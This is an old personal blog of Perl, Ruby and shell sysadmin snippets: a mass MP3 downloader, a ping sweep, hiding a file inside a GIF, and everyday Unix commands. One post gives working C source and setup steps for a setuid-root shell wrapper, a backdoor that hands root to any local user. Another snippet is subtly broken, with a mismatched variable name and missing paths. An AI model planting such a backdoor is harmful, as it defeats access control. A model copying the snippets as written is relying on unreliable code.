downloader

Posted by root Mon, 09 Jun 2008 08:09:00 GMT

#!/usr/bin/perl

use strict;
use warnings;
use WWW::Mechanize;
use LWP::Simple;
use Data::Dumper;
use Time::HiRes qw( usleep tv_interval gettimeofday );
$|++;
my $url  = shift || die "no url given!\n";
my $ext  = shift || 'mp3'; #die "no file extention given!\n";
my $mech = WWW::Mechanize->new(agent=>"Mozilla/5.0");
my $ua   = LWP::UserAgent->new;
my %seen;

$mech->get($url);
$ua->timeout(5);

my $links = $mech->links;

no warnings;
my $c = 0;
for my $link ( @{$links} ) {
        my $url  = $link->url_abs;
        my $res  = $ua->head($url);
        my $http_res   = HTTP::Response->new($res);
        my $abs_name   = $http_res ->{'_rc'}->{'_previous'}->{'_headers'}->{'location'};
        my ($rel_name) = $abs_name =~ /.+\/(.+)$/;
        my $local_name = $rel_name;

        $seen{$local_name}++ and next;

        if( $rel_name =~ /\Q$ext\E$/i ){
                $rel_name =~ s/\%\d+/ /g;
                $rel_name =~ s/(.{35}).+/$1.../;
                print(pack('A45', "[$rel_name]"), "  is being downloaded ... ");
                my $s_time = q{};
                my $e_time = q{};
                my $flag = [];

                for( 1..5 ){
                        local $SIG{ALRM} = sub { die("timeout") };
                        eval {
                           alarm(10);
                           $flag = [head($abs_name)];
                           alarm(0);
                        };
                        next if $@ =~ m|timeout|;
                        last if $@ !~ m|timeout|;
                }

                if( $flag->[0] ){
                        $c++;
                        $s_time = [gettimeofday];
                        getstore($abs_name, $c."-".$local_name);
                        $e_time = tv_interval ($s_time, [gettimeofday]);
                }

                $e_time =  $e_time ? $e_time . " seconds" : 'less than 1 milisecond';
                print "timeout failure in $e_time seconds :(\n" and next if $@;
                print "done in $e_time\n";
        }
}

`ruby -e 'Dir["*"].each{|f| File.rename f, f.sub(/^\d+-/, "")}'`;
`ruby -e 'Dir["*"].each{|f| File.rename f, f.gsub(/%20/, "_")}'`;

Posted in  | Tags  | no comments

Ruby system administration scripts

Posted by root Sat, 22 Mar 2008 18:45:00 GMT

OS users:
users = File.new("/etc/passwd").collect{|x| x.split(':')[0]}
Number of files in directory:
puts %x{ls}.split(/\n/).size
puts %x[ls|wc].split(/\s+/)[1]
Network interfaces:
inet = Hash.new{|h,k| h[k.split(/\s/)[0]] = k.scan(/addr:(\d+\.\d+\.\d+\.\d+)/)[0].to_s}

%x[ifconfig].to_s.split("\n\n").collect{|x| inet[x]}

# dump the structure: puts inet.inspect

to be continued….

Posted in ,  | Tags  | no comments

Special characters in file name

Posted by root Wed, 09 Jan 2008 07:43:00 GMT

Safely manipulate file with special characters in the name:

ruby -rfileutils -e 'FileUtils.rm_r "~"'

Posted in  | Tags  | no comments

"Argument list too long"

Posted by root Wed, 09 Jan 2008 03:08:00 GMT

Given that linuxjournal has some good points, there is no need for another solution, except in the cases when you operate on different machine. Here is oneliner solution:

irb console #remove Opera cached files
too_many_files = "~/.opera/cache4/"

Dir.new(too_many_files_dir).each do |f|
  File.file?(f) && File.unlink(f)
end

Posted in  | Tags  | no comments

Getting ip addresses from log file

Posted by root Tue, 08 Jan 2008 09:10:00 GMT

perl -ne

$_{$1}=1 if /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;eof&&{print join("\n", sort keys %_)}
access.log

Posted in  | Tags ,  | no comments

Fast ICMP scanner (Perl oneliner)

Posted by root Tue, 08 Jan 2008 08:05:00 GMT

[localhost]$

time perl -MNet::Ping -e '$p = Net::Ping->new();
@hosts = qw(
127.0.0.1 
172.16.0.1 
172.16.0.2 
172.16.0.5 
172.16.0.254);
#the significant detail
$p->{"timeout"} = 0.005; 
for (@hosts) { print "$_ is ".($p->ping($_) ? "up" : "down").$/ }'

127.0.0.1 is up
172.16.0.1 is up
172.16.0.2 is down
172.16.0.5 is up
172.16.0.254 is down

real 0m0.062s
user 0m0.040s
sys 0m0.000s

Posted in  | Tags ,  | no comments

Simple file hiding

Posted by root Tue, 08 Jan 2008 07:45:00 GMT

irb console
$/ = "\r\n"

# addition of .mp3 file to .gif file
File.open('test.gif', 'a') do |fh| 
  fh << "\r\n#{File.readlines('test.mp3')}"
end

# extraction of the .mp3 content
File.open('extracted.mp3', 'w') do |fh| 
  fh << File.readlines('test.gif')[1..-1]
end

Posted in  | Tags  | no comments

getting root acccess without sudo

Posted by root Sat, 29 Dec 2007 15:31:00 GMT

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char** argv)
{
    int root_id = 0;
    char *command = argv[1];

    if(!command)
        command = "/bin/bash";

    setuid(root_id);
    system(command);
    exit(0);
}
root# gcc -o temproot temproot.c
root# chmod +s temproot
nobody$ alias root=’temproot “su – root”’
nobody$ root

Posted in  | Tags  | no comments

Everyday UNIX Commands

Posted by root Thu, 23 Aug 2007 15:23:00 GMT


find
Recursively find and print all files, having 'txt' extention:
find ./ -type f -name "*.txt"

The same but case insensititve:
find ./ -type f -iname "*.txt"

cat all found 'txt' files:
find ./ -type f -name "*.txt" -exec cat '{}' \;

rm all found 'txt' files, starting with capital letter:
find ./ -type f -name "[A-Z]*.txt" -exec rm '{}' \;

rm all except 'txt' files:
find ./ -type f ! -name "*.txt" -exec rm '{}' \;


grep
Find and print all lines in all files, containing 'tester':
grep tester *

Find and print all lines in all files, which do not contain 'tester':
grep -v tester *

The same but recursively:
grep -r -v tester *

The same but case insensitive:
grep -i -v tester *


processes
simple Perl daemon:
perl -e 'use POSIX qw(setsid); fork; setsid; sleep 1, print $c++,$/ while 1'

checking the process existance: ps x perl
another way to find the process id: pgrep perl
kill all processes, related to perl interpreter: pkill perl


archive
Archive directory and all files and sub-directories:
tar cvf home.tar /home

The same but gzip compresses:
tar zcvf home.tar.gz /home

The same but bzip2 compressed:
tar jcvf home.tar.bz2 /home

"untar" gzip compressed archive:
tar zxvf home.tar.gz

"untar" bzip2 compressed archive:
tar jxvf home.tar.gz


column extraction
Let's assume that we need all user names from "/etc/passwd", which is the 1st column (the columns delimiter is : ):

cut command
cat /etc/passwd | cut -f1 -d:

awk script
cat /etc/passwd | awk -F':' '{print $1}'

Perl source code
perl -ne '/(\w+)/ && print $1,$/' /etc/passwd

Ruby source code
ruby -ne 'puts $1 if /(\w+)/' /etc/passwd


ISO image manipulation
ISO image creation:
dd if=/dev/cdrom of=/tmp/cdr.iso
mkisofs -rJTV "books label" /home/books > /tmp/books.iso

ISO image reading:
mount -o loop -t iso9660 /tmp/books.iso /mnt/isoimage



Posted in  | Tags ,  | no comments

compare the ip address of different hostnames

Posted by root Fri, 20 Jul 2007 10:38:00 GMT


require "socket"

unless ARGV.size == 2
 raise ArgumentError,
   "Expected two hostnames, got #{ARGV.size}"
end

h1,h2 = ARGV

begin
  h1,h2 = Socket::getaddrinfo(h1, 7)[0][3], Socket::getaddrinfo(h2, 7)[0][3]
rescue
  print "#{$!}...\texiting\n"
  exit
end

if h1.eql? h2
  puts "hosts have the same ip address: #{h1}"
else
  puts "hosts differ: #{h1} #{h2}"
end

Posted in  | Tags ,  | no comments